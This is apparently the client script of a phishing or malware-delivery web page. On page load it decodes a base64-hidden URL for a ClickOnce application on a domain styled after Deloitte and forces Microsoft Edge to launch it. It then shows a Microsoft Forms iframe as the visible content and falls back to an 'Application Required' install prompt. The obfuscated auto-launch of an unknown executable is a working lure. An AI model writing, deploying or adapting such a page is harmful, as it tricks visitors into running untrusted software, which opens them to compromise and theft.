const encodedAppUrl = "aHR0cHM6Ly9kZWxvaXR0ZS5zeWxsaXgubmV0L3BsdWdpbi9iMmQ1NjlhYy0zY2QyLTQzNTgtYWQwZi04NzdiZWNjNDExZWIvUGxheWVyLmFwcGxpY2F0aW9u"; const iframeUrl = "https://forms.cloud.microsoft/r/GUh4kdN8jY"; const installUrl = "{REPLACE_CLICKONCE_INSTALL_URL}"; const detectionTimeoutMs = 5000; const installerWaitTimeoutMs = 60000; /* ================================================== START ================================================== */ document.addEventListener("DOMContentLoaded", startApplicationFlow); async function startApplicationFlow() { showCheckingScreen(); console.log("[+] Checking application"); let launched = await detectApplicationViaProtocol(); if (launched) { console.log("[+] Application detected"); loadIframe(); return; } console.log("[!] Application not detected"); console.log("[+] Starting ClickOnce installer"); launchClickOnce(); /* Wait for ClickOnce installer/application launch */ await waitForInstaller(); /* Check again after installation */ console.log("[+] Checking application again"); launched = await detectApplicationViaProtocol(); if (launched) { console.log("[+] Application detected after install"); loadIframe(); } else { console.log("[!] Application still not detected"); showInstallScreen(); } } /* ================================================== SHOW CHECKING SCREEN ================================================== */ function showCheckingScreen() { const container = document.getElementById("iframeContainer"); if (!container) { console.error("iframeContainer not found"); return; } container.innerHTML = `

Checking application...

Please allow the application to open if prompted.

`; } /* ================================================== CLICKONCE URL ================================================== */ function getClickOnceUrl() { try { return atob(encodedAppUrl.trim()); } catch(error) { console.error( "Invalid ClickOnce URL encoding", error ); return ""; } } /* ================================================== LAUNCH CLICKONCE ================================================== */ function launchClickOnce() { const appUrl = getClickOnceUrl(); if (!appUrl) { console.error( "ClickOnce URL missing" ); return; } const userAgent = navigator.userAgent; const isIE = /Trident\/|MSIE/.test(userAgent); const isEdgeChromium = /Edg\//.test(userAgent); const isLegacyEdge = /Edge\//.test(userAgent); const launchUrl = isIE || isEdgeChromium || isLegacyEdge ? appUrl : "microsoft-edge:" + appUrl; console.log( "Launching:", launchUrl ); window.location.href = launchUrl; } /* ================================================== APPLICATION DETECTION ================================================== */ function detectApplicationViaProtocol() { return new Promise(function(resolve) { let launched = false; let resolved = false; function markLaunched() { launched = true; } function visibilityHandler() { if(document.hidden) { launched = true; } } function finish(result) { if(resolved) { return; } resolved = true; window.removeEventListener( "blur", markLaunched ); window.removeEventListener( "pagehide", markLaunched ); document.removeEventListener( "visibilitychange", visibilityHandler ); resolve(result); } window.addEventListener( "blur", markLaunched ); window.addEventListener( "pagehide", markLaunched ); document.addEventListener( "visibilitychange", visibilityHandler ); try { const appUrl = getClickOnceUrl(); if(!appUrl) { finish(false); return; } const userAgent = navigator.userAgent; const isIE = /Trident\/|MSIE/.test(userAgent); const isEdgeChromium = /Edg\//.test(userAgent); const isLegacyEdge = /Edge\//.test(userAgent); const launchUrl = isIE || isEdgeChromium || isLegacyEdge ? appUrl : "microsoft-edge:" + appUrl; window.location.href = launchUrl; } catch(error) { console.error( "Application launch failed", error ); finish(false); return; } setTimeout(function(){ finish( launched || document.hidden ); }, detectionTimeoutMs); }); } /* ================================================== WAIT FOR CLICKONCE INSTALL ================================================== */ function waitForInstaller() { return new Promise(resolve => { let browserHidden = false; function visibilityChanged() { if(document.hidden) { browserHidden = true; } } document.addEventListener( "visibilitychange", visibilityChanged ); setTimeout(function(){ document.removeEventListener( "visibilitychange", visibilityChanged ); resolve(browserHidden); }, installerWaitTimeoutMs); }); } /* ================================================== LOAD IFRAME (AUTO RESPONSIVE) ================================================== */ function loadIframe() { const container = document.getElementById( "iframeContainer" ); if (!container) { console.error( "iframeContainer not found" ); return; } container.innerHTML = ""; const iframe = document.createElement( "iframe" ); iframe.src = iframeUrl; iframe.frameBorder = "0"; iframe.allowFullscreen = true; iframe.scrolling = "auto"; /* Responsive sizing */ iframe.style.width = "100%"; iframe.style.height = "100vh"; iframe.style.minHeight = "700px"; iframe.style.border = "none"; iframe.style.display = "block"; /* Prevent parent scrolling issues */ container.style.width = "100%"; container.style.height = "100vh"; container.style.overflow = "hidden"; container.appendChild( iframe ); } /* ================================================== INSTALL SCREEN ================================================== */ function showInstallScreen() { const container = document.getElementById( "iframeContainer" ); if(!container) { console.error( "iframeContainer not found" ); return; } container.innerHTML = `

Application Required

The required application could not be detected.

Click below to install.

If the application is installed, allow Microsoft Edge to open it, then click Retry.

`; }